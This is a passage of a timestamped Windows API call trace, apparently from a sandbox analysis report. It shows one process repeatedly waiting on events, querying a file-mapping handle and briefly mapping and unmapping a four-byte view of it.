WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.497] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.497] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.497] ResetEvent (hEvent=0x110) returned 1 [0072.497] SetEvent (hEvent=0x114) returned 1 [0072.497] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.497] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.497] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.497] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.497] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.497] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.497] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.497] ResetEvent (hEvent=0x110) returned 1 [0072.497] SetEvent (hEvent=0x114) returned 1 [0072.498] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.498] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.498] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.498] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.498] ResetEvent (hEvent=0x110) returned 1 [0072.498] SetEvent (hEvent=0x114) returned 1 [0072.498] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.498] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.498] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.498] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.498] ResetEvent (hEvent=0x110) returned 1 [0072.498] SetEvent (hEvent=0x114) returned 1 [0072.498] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.498] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.498] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.498] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.498] ResetEvent (hEvent=0x110) returned 1 [0072.499] SetEvent (hEvent=0x114) returned 1 [0072.499] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.499] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.499] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.499] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.499] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.499] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.499] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.499] ResetEvent (hEvent=0x110) returned 1 [0072.499] SetEvent (hEvent=0x114) returned 1 [0072.499] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.499] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.499] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.499] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.499] ResetEvent (hEvent=0x110) returned 1 [0072.499] SetEvent (hEvent=0x114) returned 1 [0072.499] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.500] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.500] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.500] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.500] ResetEvent (hEvent=0x110) returned 1 [0072.500] SetEvent (hEvent=0x114) returned 1 [0072.500] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.500] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.500] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.500] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.500] ResetEvent (hEvent=0x110) returned 1 [0072.500] SetEvent (hEvent=0x114) returned 1 [0072.500] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.500] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.500] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.500] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.501] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.501] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.501] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.501] ResetEvent (hEvent=0x110) returned 1 [0072.501] SetEvent (hEvent=0x114) returned 1 [0072.501] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.501] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.501] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.501] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.501] ResetEvent (hEvent=0x110) returned 1 [0072.501] SetEvent (hEvent=0x114) returned 1 [0072.501] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.501] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.501] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.501] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.501] ResetEvent (hEvent=0x110) returned 1 [0072.501] SetEvent (hEvent=0x114) returned 1 [0072.502] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.502] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.502] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.502] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.502] ResetEvent (hEvent=0x110) returned 1 [0072.502] SetEvent (hEvent=0x114) returned 1 [0072.502] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.502] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.502] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.502] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.502] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.502] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.502] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.502] ResetEvent (hEvent=0x110) returned 1 [0072.502] SetEvent (hEvent=0x114) returned 1 [0072.503] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.503] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.503] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.503] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.503] ResetEvent (hEvent=0x110) returned 1 [0072.503] SetEvent (hEvent=0x114) returned 1 [0072.503] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.503] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.503] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.503] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.503] ResetEvent (hEvent=0x110) returned 1 [0072.503] SetEvent (hEvent=0x114) returned 1 [0072.503] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.503] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.503] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.504] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.504] ResetEvent (hEvent=0x110) returned 1 [0072.504] SetEvent (hEvent=0x114) returned 1 [0072.504] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.504] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.504] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.504] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.504] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.504] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.504] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.504] ResetEvent (hEvent=0x110) returned 1 [0072.504] SetEvent (hEvent=0x114) returned 1 [0072.504] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.504] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.504] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.504] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.504] ResetEvent (hEvent=0x110) returned 1 [0072.504] SetEvent (hEvent=0x114) returned 1 [0072.505] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.505] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.505] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.505] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.505] ResetEvent (hEvent=0x110) returned 1 [0072.505] SetEvent (hEvent=0x114) returned 1 [0072.505] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.505] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.505] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.505] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.505] ResetEvent (hEvent=0x110) returned 1 [0072.505] SetEvent (hEvent=0x114) returned 1 [0072.505] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.505] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.505] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.505] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.506] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.506] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.506] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.506] ResetEvent (hEvent=0x110) returned 1 [0072.506] SetEvent (hEvent=0x114) returned 1 [0072.506] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.506] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.506] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.506] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.506] ResetEvent (hEvent=0x110) returned 1 [0072.506] SetEvent (hEvent=0x114) returned 1 [0072.506] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.514] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.514] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.514] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.514] ResetEvent (hEvent=0x110) returned 1 [0072.514] SetEvent (hEvent=0x114) returned 1 [0072.514] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.514] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.514] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.514] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.514] ResetEvent (hEvent=0x110) returned 1 [0072.514] SetEvent (hEvent=0x114) returned 1 [0072.515] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.515] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.515] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.515] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.515] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.515] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.515] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.515] ResetEvent (hEvent=0x110) returned 1 [0072.515] SetEvent (hEvent=0x114) returned 1 [0072.515] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.515] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.515] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.515] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.515] ResetEvent (hEvent=0x110) returned 1 [0072.515] SetEvent (hEvent=0x114) returned 1 [0072.515] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.515] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.516] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.516] ResetEvent (hEvent=0x110) returned 1 [0072.516] SetEvent (hEvent=0x114) returned 1 [0072.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.516] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.516] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.516] ResetEvent (hEvent=0x110) returned 1 [0072.516] SetEvent (hEvent=0x114) returned 1 [0072.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.516] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.516] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.516] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.516] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.516] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.517] ResetEvent (hEvent=0x110) returned 1 [0072.517] SetEvent (hEvent=0x114) returned 1 [0072.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.517] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.517] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.517] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.517] ResetEvent (hEvent=0x110) returned 1 [0072.517] SetEvent (hEvent=0x114) returned 1 [0072.549] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.550] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.550] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.550] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.550] ResetEvent (hEvent=0x110) returned 1 [0072.550] SetEvent (hEvent=0x114) returned 1 [0072.550] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.550] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.550] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.550] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.550] ResetEvent (hEvent=0x110) returned 1 [0072.550] SetEvent (hEvent=0x114) returned 1 [0072.550] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.551] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.551] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.551] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.551] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.551] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.551] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.551] ResetEvent (hEvent=0x110) returned 1 [0072.551] SetEvent (hEvent=0x114) returned 1 [0072.551] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.551] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.551] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.551] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, 